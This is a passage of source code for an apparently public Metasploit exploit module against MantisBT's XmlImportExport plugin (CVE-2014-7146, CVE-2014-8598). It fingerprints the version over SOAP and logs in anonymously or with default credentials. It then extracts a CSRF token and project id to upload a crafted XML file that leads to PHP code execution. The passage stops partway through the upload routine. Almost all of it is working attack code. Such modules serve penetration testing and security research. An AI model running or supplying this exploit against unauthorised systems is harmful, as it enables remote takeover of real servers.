## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', 'Description' => %q{ This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. This version also suffers from another issue. The import page is not checking the correct user level of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar ', # module development @itsecurityco 'Christian Mehlmauer' ], 'References' => [ ['CVE', '2014-7146'], ['CVE', '2014-8598'], ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'], ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => '2014-11-08', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) ]) end def get_mantis_version xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:man' => "http://futureware.biz/mantisconnect" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element("man:mc_version", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" } ) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'), 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'}, 'data' => xml.to_s }) if res && res.code == 200 match = res.body.match(/(.+)<\/return><\/ns1:mc_versionResponse>/) if match && match.length == 2 version = match[1] print_status("Detected Mantis version #{version}") return version end end print_status("Can not detect Mantis version") return nil end def check version = get_mantis_version return Exploit::CheckCode::Unknown if version.nil? gem_version = Rex::Version.new(version) gem_version_introduced = Rex::Version.new('1.2.0a3') gem_version_fixed = Rex::Version.new('1.2.18') if gem_version < gem_version_fixed && gem_version >= gem_version_introduced return Msf::Exploit::CheckCode::Appears else return Msf::Exploit::CheckCode::Safe end end def do_login() # check for anonymous login res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login_anon.php') }) # if the redirect contains a username (non empty), anonymous access is enabled if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/ print_status('Anonymous access enabled, no need to log in') session_cookie = res.get_cookies else res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login_page.php'), 'vars_get' => { 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') } }) session_cookie = res.get_cookies print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'cookie' => session_cookie, 'vars_post' => { 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), 'username' => datastore['username'], 'password' => datastore['password'], 'secure_session' => 'on' } }) fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php') session_cookie = "#{session_cookie} #{res.get_cookies}" end session_cookie end def upload_xml(payload_b64, rand_text, cookies, is_check) if is_check timeout = 20 else timeout = 3 end rand_num = Rex::Text.rand_text_numeric(1, 9) print_status('Checking XmlImportExport plugin...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugin.php'), 'cookie' => cookies, 'vars_get' => { 'page' => 'XmlImportExport/import' } }) unless res && res.code == 200 && res.body print_error('Error trying to access XmlImportExport/import page...') return false end if res.body.include?('Plugin is not registered with MantisBT') print_error('XMLImportExport plugin is not installed') return false end # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] else print_error('Error trying to read CSRF token') return false end # Retrieving default project id if res.body =~ /name="project_id" value="([0-9]+)"/ project_id = Regexp.last_match[1] else print_error('Error trying to read project id') return false end # Retrieving default category id if res.body =~ /name="defaultcategory">[.|\r|\r\n]*